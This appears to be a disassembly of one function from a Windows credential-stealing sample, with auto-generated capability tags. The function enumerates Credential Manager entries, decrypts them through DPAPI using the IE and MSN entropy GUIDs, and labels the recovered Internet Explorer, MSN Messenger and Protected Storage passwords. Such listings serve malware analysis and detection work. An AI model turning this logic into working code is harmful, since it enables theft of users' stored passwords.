Function at 0x407d64
Capabilities:
Acquire credentials from windows credential manager
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edi
call fcn.00404ead
cmp eax, 1
jle 0x407fb2
push 0x41db08
mov esi, str.advapi32.dll
push esi
call fcn.00402435
push 0x41db34
push esi
mov dword [0x42bf3c], eax
call fcn.00402435
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [0x42bf40], eax
xor edi, edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
call fcn.00404ead
cmp eax, 2
jle 0x407dc0
inc edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CredEnumerateW]
test eax, eax
je 0x407fb2
cmp dword [ebp - 8], ebx
je 0x407fb2
xor eax, eax
movsx cx, byte [eax + str.abe2869f_9b47_4cd9_a358_c22904dba7f7]
shl cx, 2
mov word [ebp + eax*2 - 0x84], cx
inc eax
cmp eax, 0x25
jl 0x407de3
lea eax, [ebp - 0x84]
push 0x4a
pop ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
xor eax, eax
movsx dx, byte [eax + str.82BD0E67_9FEA_4748_8672_D5EFE5B779B0]
shl dx, 2
mov word [ebp + eax*2 - 0xd4], dx
inc eax
cmp eax, 0x25
jl 0x407e0e
cmp dword [ebp - 0x18], ebx
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], ebx
jbe 0x407fa9
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov esi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
shl edi, 2
add eax, edi
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x20], ecx
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
push ebx
lea eax, [ebp - 0x34]
push eax
push ebx
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
call esi
test eax, eax
je 0x407efb
mov esi, dword [ebp - 0x10]
push 1
push dword [ebp - 0xc]
call fcn.00402b6e
mov esi, eax
cmp esi, ebx
je 0x407f8c
mov eax, dword [ebp - 8]
mov eax, dword [edi + eax]
mov eax, dword [eax + 0x30]
cmp eax, ebx
jne 0x407ed9
mov ecx, dword [0x424e7c]
xor edx, edx
cmp word [esi], bx
mov eax, esi
mov dword [ebp - 0x1c], ecx
je 0x407ed5
inc edx
cmp edx, 0x104
jge 0x407ede
cmp word [eax], 0x3a
je 0x407ecc
inc eax
inc eax
cmp word [eax], bx
jne 0x407eb4
jmp 0x407ed5
mov word [eax], bx
add eax, 2
mov dword [ebp - 0x1c], eax
mov ecx, esi
jmp 0x407ede
mov ecx, eax
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 8]
mov eax, dword [edi + eax]
push dword [eax + 0xc]
push dword [eax + 0x2c]
push dword [eax + 8]
push dword [ebp - 0x1c]
push ecx
push str.INTERNET_EXPLORER_7.x_8.x_HTTPPASS
jmp 0x407f7e
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x24]
push eax
call esi
test eax, eax
je 0x407f3f
mov esi, dword [ebp - 0x10]
push 1
push dword [ebp - 0xc]
call fcn.00402b6e
mov esi, eax
cmp esi, ebx
je 0x407f8c
mov eax, dword [ebp - 8]
mov edi, dword [edi + eax]
push dword [edi + 0xc]
push dword [edi + 0x2c]
push dword [edi + 8]
push esi
push dword [edi + 0x30]
push str.MSN_MESSENGER_6.x
jmp 0x407f7e
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x24]
push eax
call esi
test eax, eax
je 0x407f8c
mov esi, dword [ebp - 0x10]
push 1
push dword [ebp - 0xc]
call fcn.00402b6e
mov esi, eax
cmp esi, ebx
je 0x407f8c
mov eax, dword [ebp - 8]
mov edi, dword [edi + eax]
push dword [edi + 0xc]
push dword [edi + 0x2c]
push dword [edi + 8]
push esi
push dword [edi + 0x30]
push str.PROTECTED_STORAGE
push dword [ebp + 8]
call fcn.00402c21
push esi
call fcn.0040434c
cmp dword [ebp - 0xc], ebx
je 0x407f9a
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
jb 0x407e40
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CredFree]
pop edi
pop esi
pop ebx
leave
ret